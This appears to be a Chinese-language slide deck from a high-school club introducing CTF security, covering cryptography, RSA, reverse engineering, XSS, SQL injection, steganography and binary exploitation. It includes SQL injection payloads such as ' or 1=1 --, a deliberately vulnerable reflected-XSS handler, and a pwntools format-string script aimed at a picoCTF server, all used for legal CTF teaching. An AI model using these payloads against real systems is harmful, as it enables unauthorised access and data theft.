初探資安
建中 賴昱錡
-
INFOR 35th 網管
-
CKMSC 39th 225
-
雖然不電,但在努力變強 > <
-
DC: laiyuchi#3849
自介
- 實作時間可能不多,甚至沒有,但成發還是能做 (?,有興趣可以在群組問
- 踴躍發言,不要不理我嗚嗚嗚
- 我不是很專業,有講錯可以上台打我
課前提醒
Index
資安&CTF
一起來找酷酷的flag 好耶
資安
資訊安全為一總稱,涵蓋了網路、網際網路、端點、API、雲端、應用程式以及容器等各項與網路有關的安全機制,藉由建立一套互相配合運作的資訊安全系統、解決方案和策略,以共同保護數位資料。
何謂CTF
CTF(Capture The Flag)搶旗賽,有點類似古時候戰爭時,旗子被敵方佔領,則該場戰役就落敗,現今演變到在電腦上,駭客們運用電腦科學領域的知識來保護我方,奪取敵方的旗子。
類型 | 敘述 |
---|---|
Cryptograpgy | 加密、解密。 |
Reverse | 利用逆向工程的技術,將一個程式逆向分析出其原始碼。 |
Web | 利用網路的漏洞或是分析網路的傳遞找到解答。 |
Forensics | Flag可能會用各種不同方式藏在圖片、文字、檔案、文件之中。 |
Pwnable | 運用程式語言的知識了解程式邏輯存在哪些漏洞 |
ctf的題型
實作
- https://gotyour.pw/,總之是超棒的東西
- 各式各樣的CTF平台,或是一些難度不高的遊戲網站 (如picoCTF、Hack the box、hack this site等)
- 資安象徵著挑戰的精神,不要去違法><
先備知識&密碼學
數學與電腦科學,能碰撞出什麼火花?
General skills
很基礎的技能
Google dorking
可能找出機敏資料,文件
聽起來很酷
其實用途不大
linux?
目前開發者最常使用的作業系統,也屬於Unix 生態系的作業系統,也具備開源與自由的特性。
一些特色
- 設定彈性非常大,非常適合開發者做各項調整嘗試。
- 通常無GUI介面
- 多個發行版本供選擇 (Ubuntu、CentOS、Debian)
環境的建置
- Dual boot
- WSL
- (Windows subsystem for Linux)
- Online Terminal (LINK)-Arch
- 安裝Termux
應該算常見的Linux command
- ls:list
- pwd:print work directory
- cd:change directory
- mkdir:make directory
- cp:copy
- mv:move (rename) files
- touch:update the file's timestamp or create a file.
- cat:print the file.
- nano、vim: text editor
Classical cryptography
古典密碼學
柯克霍夫原則(Kerckhoffs's principle)
- 即使演算法完全洩漏,只要金鑰沒有洩漏,密文就是安全的
- Claude Shannon: "the enemy knows the system"
- Bruce Schneier: 任何以隱藏設計作為防護(Security through obscurity)的保安系統必然會失敗
- Kerckhoffs's principle 不是說密碼學演算法都必須公開,而是要確保即使公開也不會傷害安全性
替換加密
- Caesar cipher、ROT13、ROT47(打亂基本字母外,也對數字符號進行處理)
- 直接暴力破解( 窮舉法)(最多26次)或使用頻率分析(字母或單詞)
維吉尼亞密碼
One time pad
豬圈密碼
Rail-Fence cipher
CyberChef:解壓縮、解析IPv6地址、解碼Base64字元串、格式轉換
PwnTools: 專用於 CTF Exploit的Python Library
Factordb: 質因數分解工具,與RSA有關
quipquip: 快速的替換式解密工具
gmpy2: Python中的GNU高精度算術運算庫
常用工具
- BASE32 & BASE64: 目標是用32/64個可視字元表達出ASCII
- ASCII: 電腦文字最廣泛使用的編碼
- Morse code: 利用訊號長短組合構成
- Unicode: 萬國碼
- Manchester code (其實屬於telecommunication的範圍,我不會;-;)
常見的編碼系統
hash function
雜湊函數
- 運算速度快
- 不可逆性: 無法從雜湊值推回原本的資料是什麼
- 如果兩個雜湊值是 不相同 的(根據同一函式),那麼這兩個雜湊值的原始輸入也是 不相同 的
- 如果兩個雜湊值是 相同 的(根據同一函式),那麼這兩個雜湊值的原始輸入 不一定 是相同的 (雜湊碰撞)
優點
-
不同的 Data,例如 (x,y),經過 Hashing function 計算後得出相同的 Hashing Address 稱之,也就是 H (x) = H (y)。
-
而當 Collision 發生後,且對應的 Bucket 已滿,則稱為 Overflow。
-
常見的hash函數如: sha1~sha3 (sha家族)、md5
collision
#include <iostream>
using namespace std;
const int mul = 37, mod = 1e9 + 7;
int main() {
string s = "abcde";
long long Hash = 0;
for (auto i: s){
Hash *= mul;
Hash += (int) i;
Hash %= mod;
cout << Hash << ' ';
}
return 0;
}
#include <iostream>
#include <vector>
using namespace std;
const int mul = 37, mod = 1e9 + 7;
const int maxn = 10;
vector <int> g[maxn];
int dfs(int now, int pre){
vector <int> v;
for (auto i: g[now]){
if(i != pre){
v.push_back(dfs(i, now));
}
}
sort(v.rbegin(), v.rend());
long long ret = 1;
for (auto i: v){
ret *= mul;
ret += i;
ret %= mod;
}
return ret;
}
int main() {
int n, a, b;
cin >> n;
for (int i=0; i<n-1; i++){
cin >> a >> b;
g[a].push_back(b);
g[b].push_back(a);
}
cout << dfs(0, -1) << endl;
for (int i=0; i<n; i++){
g[i].clear();
}
for (int i=0; i<n-1; i++){
cin >> a >> b;
g[a].push_back(b);
g[b].push_back(a);
}
cout << dfs(5, -1) << endl;
return 0;
}
C++實作hash壓縮
RSA
酷酷的非對稱加密
對稱式加密
非對稱式加密
- 運算速度快,並且需要較少的計算資源
- 主要缺點是密鑰的分發,使用相同的密鑰,所以必須將該密鑰分發給需要訪問數據的人,這也隨之帶來了安全風險。
- 使用公鑰進行加密,私鑰進行解密,來解決密鑰分發的問題。
- 與對稱加密相比,非對稱加密系統運行得非常緩慢
- 由於它們的密鑰長度非常長,因此需要更多的計算資源
- 國中學過的指數運算、質數相關的定義(互質)
- \(a\equiv b (mod\ m)\),代表\(a\)與\(b\)除以\(m\)的餘數相同,也可讀作\(a\)同餘於\(b\)模\(m\)
- 歐拉函數\((\varphi(n))\): 表示小於或等於\(n\)的正整數中與\(n\)互質的數的數目
- 來講一些定理吧
RSA的少許數學
Simple proof of Fermat's little theorem
加密&解密:
令明文為x,密文為y,
加密:
\(x^e\pmod n\equiv y\)
解密:
\(x^d\pmod n\equiv y\)
實作
- Static ain't always noise
- what's a netcat?
- Mini RSA
- 水題太多 自己找la
- Source: picoCTF
逆向工程&網路攻擊
程式&網頁的運作也許沒你想的這麼簡單
逆向工程
Reverse engineering
程式如何產生?
寫的code
組合語言
object code
exe
compiler
assembler
linker
decompiler
(僅邏輯一樣)
disassembler
(完整還原)
程式如何運作?
丟給OS處理
怎麼放到記憶體、進入點...
*entry point (程式進入點):
每一個程式第一個被執行的那個指令,以C語言為例,main函式即是entry point
- source code,儲存在非揮發性記憶體中,例如硬碟、SSD。
- CPU將source code取出,翻譯成machine code,然後放入揮發性記憶體,例如RAM(存取速度快)
- CPU去剖析機器碼,區分指令與資料,根據指令,去操作運算各類資料,輸入、輸出結果,達成各種程式功能
常用工具
- Ghidra: 可用來反組譯、反編譯,
- PE-Bear: 一個用來觀察 PE 檔案的軟體,可以知道目前要分析的檔案的架構,例如 Header 和 Section 的資訊。
- x64dbg: 就是Debugger。當靜態分析太複雜,導致有些記憶體資料不知道是什麼時,可以直接追進去看。
- gdb: Linux中最常見的debugger
- odjdump: 可以用來觀察程式的組合語言
GDB操作 簡介
- file:=gdb filename
- run (r):執行程式,或是從頭再執行程式。
- kill:中止程式的執行。
- backtrace ( bt ):顯示程式呼叫的堆疊(stack)。
- print ( p ):印出變數內容。例:print i,印出變數 i 的內容。
- list (l):印出程式碼。
- breakpoint (b):設定中斷點
- continue (c):繼續執行。和 breakpoint 搭配使用。
- next (n):單步執行,但遇到函式時會將呼叫的函式作為一個語句執行。
- step (s):單步執行。但遇到函式時會進入呼叫的函式執行
- 低階語言
- 可以從低階的機械碼轉換而來
- 每一種作業系統、CPU 架構都有所不同,常見的架構有ARM、Mips、x86...etc
- 目前我們最常用的電腦都是使用x86架構。
ASSEMBLY
套路: 指令 目的地, 參數A, [參數B]
ASSEMBLY (x86 intel style)
MOV RAX,5
ADD RAX,0x55
AND/OR/XOR RAX,0xFF
CMP RAX, 0x87
RAX=5
RAX=RAX+0x55
RAX=RAX & / || / ^ 0xFF
CMP是三小?
旗標暫存器(FLAG)
可以儲存運算狀態,通常出現在需要判斷式時(搭配Jump跟Call系列指令使用,Ex:JMP、JE)。
以上面為例,可以分為三種情況:
RAX<0x87,CarryFlag=1
RAX=0x87,ZeroFlag=1
RAX>0x87,CarryFlag=1 & ZeroFlag=1
網路攻擊
Web exploitation
先講些輕鬆的-Robots.txt
他可以告訴搜尋引擎哪些網站是不想被搜尋到的,可能像是還在測試中的網站、網站管理者登入的後台、存在某些特殊的檔案等等,不過這只是不讓搜尋引擎找到,若是從別的網站得到該網址還是會被訪問
前端vs後端 & TCP
小複習: HTTP&封包
餅乾- 一種小型的文字檔案,透過加密的方式儲存在用戶上上的資料。
- 除了name跟value的欄位,還有expire(保存期限)、path(卻認同路徑)、domain、secure等設定值,
跟餅乾蠻像的。
COOKIE
linux Curl
Curl 是一個在 Linux 上用來透過 HTTP Protocol(HTTP HyperText Transfer Protocol 定義存取網路資源的協定,讓我們可以使用 client / server 模式來取得網路資源)下載和上傳檔案的指令(比起 wget 只能下載強大許多)
xss
- Cross-Site Scripting,XSS
- 在瀏覽器插入惡意 Javascript,一旦受害者的瀏覽器解析並執行,可能導致cookie 被盜取、網頁導向惡意網站等
- 讓使用者「 輸入的資料」 變成「 程式的一部分 」,藉此攻擊其他的使用者
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
if not self.request.get('query'):
# Show main search page
self.render_string(page_header + main_page_markup + page_footer)
else:
query = self.request.get('query', '[empty]')
# Our search engine broke, we found no results :-(
message = "Sorry, no results were found for <b>" + query + "</b>."
message += " <a href='?'>Try again</a>."
# Display the results page
self.render_string(page_header + message + page_footer)
LEVEL1
要怎麼觸發alert()?
SQL injection
- 在 SQL 中常會出現攻擊者可以透過更改語法邏輯或加入特殊指令的方式。
- 在未設定過濾惡意程式碼的情況下,DataBase會直接接收使用者所輸入的 SQL 指令並執行攻擊代碼,使攻擊者能夠取得最高權限,得以竊取、修改資料。
講個笑話
24歲的Raven Felix Null來自美國,他說他成年之後就將姓氏改為「Null」這個單詞,它與許多電腦程式不相容,因此許多系統不會將他當做一個人來看待。
這種程式設計錯誤意味著,當一位員工將Null這個單詞當做姓氏輸入IT系統之後,該系統會將這個單詞識別為「資料空缺」,並拒絕驗證它。這種IT小故障常常使得Raven不必為他買的東西付錢。
這聽起來蠻蠢的,但在近年來根據Google、OWASP等網站統計,SQL注入依然是蠻常發生的漏洞。
常見類型
- 查詢隱藏的數據: 改 SQL 語法來查詢資料庫的其他資料。
- 影響應用程式邏輯: 修改 SQL 語法來影響應用程式的邏輯。
- UNION 攻擊: 修改 SQL 語法來查詢其他資料庫表的資料。
- 檢查資料庫: 修改 SQL 語法來查詢資料庫版本與架構。
- 盲SQL注入: 修改 SQL語法但結果不會直接回傳在頁面。
id | name | password |
---|---|---|
9487 | richardlai | 71227122 |
hidd3n | willychan | orzwilly |
bruh001 | aliceqwq | ji3bji4 |
SELECT name FROM table1 WHERE password="richardisweak"
var user = input()
var pass = input()
var line =
"SELECT user FROM table WHERE user='${user}' AND pass='${pass}'"
var result = sql.exec(line)
if(result){
login()
}else{
notLogin()
}
而今天當程式語言要執行一個SQL時,需先構建一個SQL語句的字串
pseudo code如下
SELECT user FROM table WHERE user='richardlaiiiii' AND pass='laiyukiweak'
剛剛那幾串code在幹嘛?
SELECT * FROM user WHERE name= 'XXX' and password = 'OOO' ;
翻譯: 幫我找一下 使用者 是不是有 名字是 'XXX' 和 密碼是 'OOO'
當我今天的input改成 ' ' or 1=1 --
SELECT * FROM user WHERE name= '' or 1=1 -- and password = 'OOO' ;
沒錯,我們成功改變了執行條件! 既然資料庫都以為你說的話是指令了,你當然能做其他事情。
如果我今天想搞事,把帳號中多加個 '
會發生什麼?
SELECT user FROM table WHERE user='richardl'aiiiii' AND pass='laiyukiweak'
SELECT user FROM table WHERE user='richardlaiiiii' AND pass=='1';--' AND pass=='laiyukiweak'
//
;代表將SQL語句分開
--代表忽視
SQL injection其實就是透過輸入改變執行條件
會報錯,但如果我突然又想搞事,把輸入的帳號改成: richardlaiiiii' AND pass=='1';--
SQL injection又可以分為blind base跟Union base,前者有點像瞎猜,後者則是Union運算子來搞事情。
實作
數位鑑識&Pwn
隱寫術與程式安全
PWN與Reverse相比偏動態,常見的類型又可以分為overflow、use-after-free
思考一下以下這個程式邏輯會遇到什麼漏洞?
密碼[16]
登入 = False
...
IF not 登入
輸入密碼
IF (密碼 is ...) or (登入 is True)
登入成功
數位鑑識
Digital Forensics
-
隱寫術(Steganography)是一門關於資訊隱藏的技巧與科學,
-
資訊隱藏(data hiding)指的是不讓除預期的接收者之外的任何人知曉資訊的傳遞事件或者資訊的內容。
隱寫術
常用工具
- Binwalk
- Exiftool
- Hexdump、 xxd (or other hex editors)
- linux command: strings、grep、dd
- 用講的可能不好理解,來實作吧
- 練習1: sCTF 2016 Q1 : banana-boy,看似只是一張小朋友吃香蕉的圖片? 圖片下載連結
- 練習2: CSAW QUALS 2015: keep-calm-and-ctf,如何看圖片的metadata?
解題步驟
file -> hexdump -> binwalk -> dd
Result1 & explaination
file carter.jpg
查看檔案格式,似乎沒啥特別的
hexdump carter.jpg
使用hex編輯器分析檔案
binwalk carter.jpg
從執行結果 ==> 了解到圖片後面還有圖片
dd if=carter.jpg of=carter-1.jpg skip=140147 bs=1
>if是指定輸入檔
>of是指定輸出檔
>skip是指定從輸入檔開頭跳過140147個塊後再開始複製
>bs設置每次讀寫塊的大小為1位元組
Result2 & explaination
exiftool img.jpg
->
ExifTool是Phil Harvey以Perl寫成的自由開源軟體,
可讀寫及處理圖像、視頻及音頻的metadata,例如Exif
、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。它是
跨平台的,可作為命令列或Perl函式庫使用。
exiftool也可以用來修改圖片EXIF資訊,語法如下:
exiftool -CreateDate='yyyy:mm:dd hh:mm:ss' /x.jpg
exiftool -ModifyDate='yyyy:mm:dd hh:mm:ss' /x.jpg
Pwn
Binary exploitation
-
所謂 Binary Exploitation 直翻是二進制程式檔滲透,
其實就是找尋程式中的漏洞,或是取得伺服器權限,使用伺服器 shell 偷取檔案、修改資料等等。 -
Fun fact: CTF中的pwn其實是"碰"的狀聲詞,沒什麼特別的意思
binary exploitation
PWN到底是什麼?
- 簡單而言便是: 控制程式流程,進⽽觸發攻擊
- Fuzz模糊測試: 自動產生隨機輸入產生漏洞
- 或是也可以看原始碼、組合語言尋找漏洞。
程式碼 (binary)
已初始化的全域變數
未初始化的全域變數
動態記憶體空間,由低往高
存放暫存資料,由高往低
(FILO、區域變數)
PWNtools?
用於 CTF Exploit的Python Library,用法超級多
實作 (請原諒我做簡報做到有點腦袋壞掉)
Stonks
Wireshark doo dooo do doo...
source: picoCTF
實作 買股票囉
# import pwntools
from pwn import *
# string to write to
s = ""
# open up remote connection
r = remote('mercury.picoctf.net', 33411)
# get to vulnerability
r.recvuntil("View my")
r.send("1\n")
r.recvuntil("What is your API token?\n")
# send string to print stack
r.send("%x" + "-%x"*40 + "\n")
# receive until the line we want
r.recvline()
# read in line
x = r.recvline()
# remove unwanted components
x = x[:-1].decode()
# parse to characters
for i in x.split('-'):
if len(i) == 8:
a = bytearray.fromhex(i)
for b in reversed(a):
if b > 32 and b < 128:
s += chr(b)
# print string
print(s)
實作time
good luck
end
IG: infor35_richardlaiiiii
Thank you for your time and attention.
Hope you enjoy it!
初探資安
By Richard Lai
初探資安
- 68